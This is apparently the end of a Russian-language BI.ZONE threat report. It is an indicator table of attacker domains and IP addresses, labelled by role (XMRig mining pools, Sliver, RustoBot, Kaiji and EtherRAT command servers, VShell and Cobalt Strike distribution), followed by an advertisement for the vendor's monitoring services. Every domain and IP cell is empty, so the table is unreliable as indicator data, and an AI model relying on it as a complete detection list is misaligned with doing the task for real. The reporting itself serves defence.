| Домен |
|
Распространение майнера XMRig |
|
|
C2‑сервер импланта Sliver |
|
|
|
DNS-туннель для получения результата команд |
|
|
|
DNS-туннель для получения результата команд |
|
|
|
Пул майнинга XMRig |
|
|
|
Пул майнинга XMRig |
|
|
|
C2‑сервер ботнета RustoBot |
|
|
|
C2‑сервер ботнета RustoBot |
|
|
|
C2‑сервер ботнета RustoBot |
|
|
|
C2‑сервер ботнета RustoBot |
|
|
|
C2‑сервер ботнета RustoBot |
|
|
|
C2‑сервер ботнета Kaiji |
|
|
|
Пул майнинга XMRig |
|
|
|
Пул майнинга XMRig |
|
|
|
Пул майнинга XMRig |
|
|
|
Пул майнинга XMRig |
|
|
|
Связан с загрузкой Bash-скрипта, добавляющего SSH‑ключи |
|
|
|
Пул майнинга XMRig |
|
| IP‑адрес |
|
Распространение ботнета Kaiji |
|
|
Распространение ботнета RustoBot |
|
|
|
Распространение майнера XMRig |
|
|
|
Распространение майнера XMRig |
|
|
|
Пул майнинга XMRig |
|
|
|
C2‑сервер ботнета RustoBot |
|
|
|
Пул майнинга XMRig |
|
|
|
Пул майнинга XMRig |
|
|
|
Пул майнинга XMRig |
|
|
|
Пул майнинга XMRig |
|
|
|
Распространение импланта CrossC2 Cobalt Strike |
|
|
|
Распространение Tactical RMM |
|
|
|
Распространение бэкдора VShell |
|
|
|
C2‑сервер EtherRAT |
|
|
|
Распространение EtherRAT |
|
|
|
Отправление собранной информации о цели |
|
|
|
Распространение майнера XMRig |
Чтобы вовремя обнаружить и нейтрализовать киберугрозы в инфраструктуре, необходимо настроить непрерывный мониторинг событий кибербезопасности. Например, с помощью сервиса BI.ZONE TDR. Он позволяет управлять инцидентом на всех этапах: до, во время и после его возникновения. Сервис сочетает подходы SOCaaS и MDR, что позволяет полностью охватить инфраструктуру и выстроить эффективную стратегию защиты. Это помогает не только отражать текущие атаки, но и расследовать уже прошедшие инциденты, а также получать рекомендации по предотвращению угроз в будущем.
Для эффективной киберзащиты важно понимать, какие уязвимости эксплуатируют злоумышленники в реальных атаках. Здесь помогает портал BI.ZONE Threat Intelligence, который предоставляет подробную информацию об актуальных киберугрозах. Эти данные помогают проактивно защищать компанию и быстро реагировать на киберинциденты.